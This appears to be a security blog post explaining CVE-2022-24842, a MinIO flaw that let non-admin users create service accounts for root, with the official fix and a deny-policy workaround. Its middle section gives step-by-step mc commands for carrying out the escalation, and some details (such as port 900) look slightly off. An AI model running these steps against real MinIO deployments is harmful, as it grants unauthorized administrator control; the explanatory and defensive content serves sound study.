MinIO has built a reputation for delivering high performance and scalability as an open-source object storage solution, licensed under the GNU Affero General Public License v3.. Many organizations use MinIO to provide Amazon S3-compatible storage for cloud-native apps. But in April 2022, researchers uncovered a critical security issue designated as CVE-2022-24842. This flaw allowed non-admin users to create new service accounts with the permissions of admin users, and even the root account—effectively letting them take control of the system.

In this deep dive, we'll explain what CVE-2022-24842 is, how this privilege escalation was possible, what the original patch did, and how you can keep your MinIO deployments safe—even if you can't upgrade right away.

What is a Service Account?

In MinIO, a *service account* is typically an access key/secret key pair created under a specific user, allowing that user to script or automate tasks with the same permissions as the parent user.

Administrators use service accounts to give applications fine-grained access. Non-admin users can also create service accounts, but they should only be able to create accounts that inherit their own (limited) policies.

What Went Wrong in MinIO?

Because of improper permissions checks, non-admin users could create service accounts for any user, including root or other admins. That meant anyone with MinIO access could:

Create a service account for the root admin account.

2. Use the resulting credentials to gain full admin (root) access—regardless of their original permissions.

Why is this Bad?

This is the classic "privilege escalation" bug: a lower-privileged account gets a backdoor into unlimited, administrator-level control.

Exploiting CVE-2022-24842: Step-by-Step

> Educational purposes only. Never exploit live/production systems. Always use test environments!

1. Log in as any non-admin user (e.g., bob).

export MINIO_ROOT_USER=bob
export MINIO_ROOT_PASSWORD=bobs-password
mc alias set myminio http://localhost:900 bob bobs-password

2. Create a service account for the root user (should NOT be possible, but was before the patch)

mc admin user svcacct add myminio root

*Expected: Operation fails as you need admin rights.
Actual (before patch): Operation succeeds!*

3. MinIO returns new access key and secret

Service account created successfully
Access Key:  newRootKey123
Secret Key:  newSecretKey456

4. Use these credentials to act as root

mc alias set minio-root http://localhost:900 newRootKey123 newSecretKey456

# Now, 'bob' (the non-admin) has root privileges.
mc admin info minio-root
mc admin user list minio-root
# ...and so on.

Official Fix

The vulnerability was fixed in MinIO Pull Request #14729 and included in RELEASE.2022-04-12T06-55-35Z. After this version, MinIO properly checks if the user has the right privileges before allowing service account creation for another user.

Can't Upgrade? Apply a Deny Policy

If you're unable to upgrade, you can explicitly deny all user access to the admin:CreateServiceAccount action. But be aware: this also stops users from creating their *own* service accounts.

Example Deny Policy (minioPolicy.json)

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Action": "admin:CreateServiceAccount",
      "Principal": "*",
      "Resource": "*"
    }
  ]
}

Apply the policy to relevant users with

mc admin policy add myminio deny-serviceaccount minioPolicy.json
mc admin policy set myminio bob deny-serviceaccount

References and Further Reading

- CVE-2022-24842 at NVD
- MinIO Security Advisory
- MinIO’s Fix Pull Request #14729
- MinIO Release Note: RELEASE.2022-04-12T06-55-35Z

Upgrade MinIO to at least RELEASE.2022-04-12T06-55-35Z as soon as possible.

- If you can’t upgrade, deny admin:CreateServiceAccount until you can. Beware this may impact automation features for users.

Regularly audit user privileges and service account assignments.

- Don’t use shared MinIO instances for multi-tenant architectures unless you’re sure your version is safe!

This vulnerability is a classic reminder: privilege boundaries must be enforced at every new API edge. Even simple missteps can turn non-admins into superusers.

Timeline

Published on: 04/12/2022 18:15:00 UTC
Last modified on: 04/23/2022 02:11:00 UTC